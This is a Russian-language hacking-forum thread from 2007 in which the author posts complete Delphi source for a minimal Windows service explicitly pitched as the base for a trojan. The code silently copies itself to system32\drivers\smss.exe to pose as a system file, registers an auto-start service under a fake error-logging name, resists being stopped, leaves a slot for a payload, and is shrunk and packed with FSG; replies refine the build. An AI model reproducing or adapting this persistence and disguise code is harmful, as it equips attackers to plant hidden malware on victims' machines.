HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Сервис на Delphi Api весом 1849 байт
  #1  
Старый 12.12.2007, 11:47
execom
Познающий
Регистрация: 05.06.2007
Сообщений: 50
С нами: 9964628

Репутация: 259
Lightbulb Сервис на Delphi Api весом 1849 байт

Не редко основой для троянов является сервис.. Создание сервиса на Delphi стандартными методами позволяет это сделать всего за несколько секунд, но у этого сервиса имеется один явный недостаток - неупакованный размер около 400 кб (нехилый трой получается)... Решить проблему минимизации позволяет:
1)Переписание на WinApi
2)Избавление от RTL
3)Упаковка программы (в моём примере с помощью FSG 2,0)

Мне удалось таким образом уменьшить размер сервиса более чем в 250 раз от стандартного, в данном примере 1849 байт...

1)Переписание на Api даёт значительное сокращение размера, но не стоит забывать и о необходимости избавления от всех модулей, а так же для того что бы мы могли в последствии отключить RTL необходимо избавиться от любого примениния типа string и динамических массивов... Соответственно нам придется все используемые Api функции импортировать из винды, так же нам придётся перетянуть весь набор типов и констант которые используются из модулей....
Полный код сервиса представлен ниже и его только необходимо сохранить в файл с расширением .dpr и запустить в делфи...

Код:
//Исходник сервиса
const
  ServiceName = 'NTError';  ServiceDisp = 'Служба регистрации ошибочных операций';
  Path = '\system32\drivers\smss.exe';
  kernel32                       = 'kernel32.dll';
  advapi32                       = 'advapi32.dll';
  SERVICE_RUNNING                = $00000004;
  SERVICE_WIN32_OWN_PROCESS      = $00000010;
  SERVICE_WIN32_SHARE_PROCESS    = $00000020;
  SERVICE_WIN32                  = (SERVICE_WIN32_OWN_PROCESS or
                                   SERVICE_WIN32_SHARE_PROCESS);
  SERVICE_START_PENDING          = $00000002;
  SC_MANAGER_CREATE_SERVICE      = $0002;
  STANDARD_RIGHTS_REQUIRED       = $000F0000;
  SERVICE_AUTO_START             = $00000002;
  SERVICE_ERROR_NORMAL           = $00000001;
  SC_MANAGER_CONNECT             = $0001;
  SERVICE_START                  = $0010;
  SERVICE_QUERY_STATUS           = $0004;
  SERVICE_INTERACTIVE_PROCESS    = $00000100;
  MAX_PATH                       = 260;
  INFINITE                       = INTEGER($FFFFFFFF);
  GENERIC_READ                   = INTEGER($80000000);
  FILE_SHARE_READ                = $00000001;
  FILE_ATTRIBUTE_NORMAL          = $00000080;
  OPEN_EXISTING                  = 3;
  SW_HIDE                        = 0;

type
  HINST   = INTEGER;
  THandle = INTEGER;
  UINT    = INTEGER;
  DWORD   = INTEGER;
  LPDWORD = ^INTEGER;
  BOOL    = BOOLEAN;
  pathbuf = array [0..MAX_PATH] of char;
  SERVICE_TABLE_ENTRYA = record
    lpServiceName: PChar;
    lpServiceProc: Pointer;
  end;
  SERVICE_STATUS = record
    dwServiceType: DWORD;
    dwCurrentState: DWORD;
    dwControlsAccepted: DWORD;
    dwWin32ExitCode: DWORD;
    dwServiceSpecificExitCode: DWORD;
    dwCheckPoint: DWORD;
    dwWaitHint: DWORD;
  end;
  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record
    nLength: Cardinal;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: Boolean;
  end;

var
  DispatchTable : SERVICE_TABLE_ENTRYA;
  hThread             : THandle;
  ServiceStatus       : SERVICE_STATUS;
  ServiceStatusHandle : integer;

function SetServiceStatus(hServiceStatus: integer; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'SetServiceStatus';
function RegisterServiceCtrlHandler(lpServiceName: PChar; lpHandlerProc: pointer): integer; stdcall;external advapi32 name 'RegisterServiceCtrlHandlerA';
function OpenSCManager(lpMachineName, lpDatabaseName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenSCManagerA';
function CreateService(hSCManager: INTEGER; lpServiceName, lpDisplayName : PChar;  dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl: DWORD;  lpBinaryPathName, lpLoadOrderGroup: PChar; lpdwTagId: LPDWORD; lpDependencies,  lpServiceStartName, lpPassword: PChar): INTEGER; stdcall; external advapi32 name 'CreateServiceA';
function CloseServiceHandle(hSCObject: INTEGER): BOOL; stdcall; external advapi32 name 'CloseServiceHandle';
function OpenService(hSCManager: INTEGER; lpServiceName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenServiceA';
function StartService(hService: INTEGER; dwNumServiceArgs: INTEGER; var lpServiceArgVectors: PChar): BOOL; stdcall; external advapi32 name 'StartServiceA';
function QueryServiceStatus(hService: INTEGER; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'QueryServiceStatus';
function StartServiceCtrlDispatcher(var lpServiceStartTable: SERVICE_TABLE_ENTRYA): BOOL; stdcall; external advapi32 name 'StartServiceCtrlDispatcherA';
procedure Sleep(dwMilliseconds: DWORD); stdcall; external kernel32 name 'Sleep';
function CreateThread(lpThreadAttributes: Pointer; dwStackSize: DWORD; lpStartAddress: Pointer; lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall; external kernel32 name 'CreateThread';
function WaitForSingleObject(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall; external kernel32 name 'WaitForSingleObject';
function CloseHandle(hObject: THandle): BOOL; stdcall; external kernel32 name 'CloseHandle';
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: DWORD; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall; external kernel32 name 'CreateFileA';
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: DWORD): DWORD; stdcall; external kernel32 name 'GetModuleFileNameA';
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external kernel32 name 'GetWindowsDirectoryA';
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall;  external kernel32 name 'WinExec';

Procedure PayLoad;
begin
while true do
  begin
  //Циклическая операция выполняемая в сервисе
  end;
end;

procedure ServiceCtrlHandler; stdcall;
begin
  SetServiceStatus(ServiceStatusHandle, ServiceStatus);
end;

procedure MainServiceThread; stdcall;
begin
  sleep(INFINITE);
end;

procedure ServiceProc(argc: DWORD; var argv: array of PChar); stdcall;
var
  thID: integer;
begin
  ServiceStatus.dwServiceType := SERVICE_WIN32;
  ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted := 0;
  ServiceStatus.dwWin32ExitCode := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;
  ServiceStatusHandle := RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
  ServiceStatus.dwCurrentState := SERVICE_RUNNING;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;
  SetServiceStatus(ServiceStatusHandle, ServiceStatus);
  Payload;
  hThread := CreateThread(nil, 0, @MainServiceThread, nil, 0, ThID);
  WaitForSingleObject(hThread, INFINITE);
  CloseHandle(hThread);
end;

function CreateNTService(ExecutablePath, ServiceName: PChar): boolean;
var
  hNewService, hSCMgr: INTEGER;
  FuncRetVal: Boolean;
begin
  FuncRetVal := False;
  hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if (hSCMgr <> 0) then
  begin
    hNewService := CreateService(hSCMgr, ServiceName, ServiceDisp,
      STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
      SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
      ExecutablePath, nil, nil, nil, nil, nil);
    CloseServiceHandle(hSCMgr);
    if (hNewService <> 0) then
      FuncRetVal := true
    else
      FuncRetVal := false;
  end;
  CreateNTService := FuncRetVal;
end;

function ServiceStart(aServiceName: PChar ): boolean;
var
  h_manager,h_svc: INTEGER;
  svc_status: SERVICE_STATUS;
  Temp: PChar;
  dwCheckPoint: DWord;
begin
  svc_status.dwCurrentState := 1;
  h_manager := OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager, aServiceName,
    SERVICE_START or SERVICE_QUERY_STATUS);
    if h_svc > 0 then
    begin
      temp := nil;
      if (StartService(h_svc,0,temp)) then
        if (QueryServiceStatus(h_svc,svc_status)) then
        begin
          while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
          begin
            dwCheckPoint := svc_status.dwCheckPoint;
            Sleep(svc_status.dwWaitHint);
            if (not QueryServiceStatus(h_svc,svc_status)) then  break;
            if (svc_status.dwCheckPoint < dwCheckPoint) then  break;
          end;
        end;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;
  Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;

function FileExists(path:PChar):boolean;
var
  i : integer;
begin
  i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if i=-1
  then Result:=false
  else Result:=true;
end;

var
  F1,F2,F3,F4 : pathbuf;
begin
  GetModuleFileName(0,F1,MAX_PATH);
  GetWindowsDirectory(F3, MAX_PATH);
  LStrCpy(F2,#0);
  LStrCat(F2,F3);
  LStrCat(F2,path);
  if not FileExists(F2) then
    begin
      LStrCpy(F4,#0);
      LStrCat(F4,'cmd /c copy /y ');
      LStrCat(F4,F1);
      LStrCat(F4,' ');
      LStrCat(F4,F2);
      winexec(F4,SW_HIDE);
      CreateNTService(F2, ServiceName);
      ServiceStart(ServiceName);
      exit;
    end;
  DispatchTable.lpServiceName := ServiceName;
  DispatchTable.lpServiceProc := @ServiceProc;
  StartServiceCtrlDispatcher(DispatchTable);
end.

2)Избавление от RTL (Run Time Lib) позволяет уменьшить размер минимальной проги на делфи до 3,5кб (неупакованной) и менее 1кб (упакованной FSG 2,0)...
Для того что бы избавиться от RTL нам необходимо запустить проект предварительно разместив в папке с проектом урезаные модули System и SysInit как это сделать.....
1)Созадём в папке программы два текстовых файла: System.pas, SysInit.pas соответственно с содержанием:

Код:
unit System;
interface
procedure _HandleFinally;
type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;
PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext; 
ExcFrame: Pointer; 
InitTable: pointer; 
InitCount: Integer; 
Module: pointer; 
DLLSaveEBP: Pointer; 
DLLSaveEBX: Pointer; 
DLLSaveESI: Pointer; 
DLLSaveEDI: Pointer; 
ExitProcessTLS: procedure; 
DLLInitState: Byte; 
end;
implementation
procedure _HandleFinally;
asm
end;
end.



Код:
unit SysInit;
interface
procedure _InitExe;
procedure _halt0;  
var
  ModuleIsLib  : Boolean; 
  TlsIndex     : Integer = -1; 
  TlsLast      : Byte; 
const
  PtrToNil     : Pointer = nil; 
implementation
procedure _InitExe;
asm
end;
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
procedure _halt0;
begin
ExitProcess(0);
end;
end.


2)Теперь необходимо выполнить компиляцию этих файлов.. Для этого необходимо выполнить командную строку: DCC32 -Q system.pas sysinit.pas -M -Y -Z -$D- -O в папке с проектом, это легко сделав с помощью ват-ника....
Если всё нормально прошло то в папке появятся ещё два файла: System.dcu, SysInit.dcu

3)Запустив проект и откомпилировав его мы получим сервис на делфи весом 5120 байт.... Теперь осталось упаковать сервис с помощью FSG 2,0......




Эта статья разработана в среде разработке Delphi 7... При запуске проги происходит самокопирование проги в путь system32\drivers\smss.exe, регистрация сервиса и его запуск.... Сервис не может быть остановлен или удалёд до перезагрузки...

Используйте материалы статьи грамотно....
 
Ответить с цитированием

  #2  
Старый 12.12.2007, 12:25
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
С нами: 10265091

Репутация: 541


По умолчанию

забыл добавить, что в оконцовке нужно зайти в Tools > Environment Options > Library и в LibraryPath добавить путь к папочке с только что созданными юнитами систем и сисинит дцу.
 
Ответить с цитированием

  #3  
Старый 12.12.2007, 16:30
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
С нами: 10653446

Репутация: 836


По умолчанию

фишку с перекомпиляцией system на руснет протрезвонил ms-rem
имхо для маленьких бинарников fsg the best
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #4  
Старый 12.12.2007, 18:54
Hellsp@wn
Постоянный
Регистрация: 29.04.2007
Сообщений: 496
С нами: 10018466

Репутация: 588
По умолчанию

1 вопрос пока не проверял...

Есть pathbuf = array [0..MAX_PATH] of char и у нас 4 таких переменных,
т.е. 4 * 261 = 1044 (в идиале) байт под эти строки. Может лучше бы было использовать
pchar + LocalAlloc or VirtualAlloc? Съэкономили бы ещё несколько сотен байт

Для проверки существования файла лучше юзать
Код:
function FileExits(const exe:pchar):boolean;
begin
  result:=TRUE;
  If (GetFileAttributes(exe) = DWORD(-1)) then result := FALSE;
end;
т.к. ей нужен только 1 параметр на вход

Последний раз редактировалось Hellsp@wn; 12.12.2007 в 19:00..
 
Ответить с цитированием

  #5  
Старый 12.12.2007, 19:23
execom
Познающий
Регистрация: 05.06.2007
Сообщений: 50
С нами: 9964628

Репутация: 259
По умолчанию

2Hellsp@wn исправлю...
 
Ответить с цитированием

  #6  
Старый 13.12.2007, 22:26
begin_end
Участник форума
Регистрация: 04.01.2007
Сообщений: 178
С нами: 10184006

Репутация: 1362
По умолчанию

Я ранее подобные вопросы изучал, вот, м.б. будет полезно: http://forum.antichat.ru/showthread.php?t=40603
 
Ответить с цитированием

  #7  
Старый 14.12.2007, 12:04
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

Ээ, тоесть автор показал как создавать сервис через официальный, документированый способ, который подробнейшим образом описан в MSDN? Причем
перенеся все это с извращением на какой-то очень поковерканый язык? Или тут упор делается на то, что мол можно вируса-убийцу на делфи написать очередного, отключил RTL и т.п.? Поясните...

> Не редко основой для троянов является сервис..

Уже довольно давно не является и являться не может
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.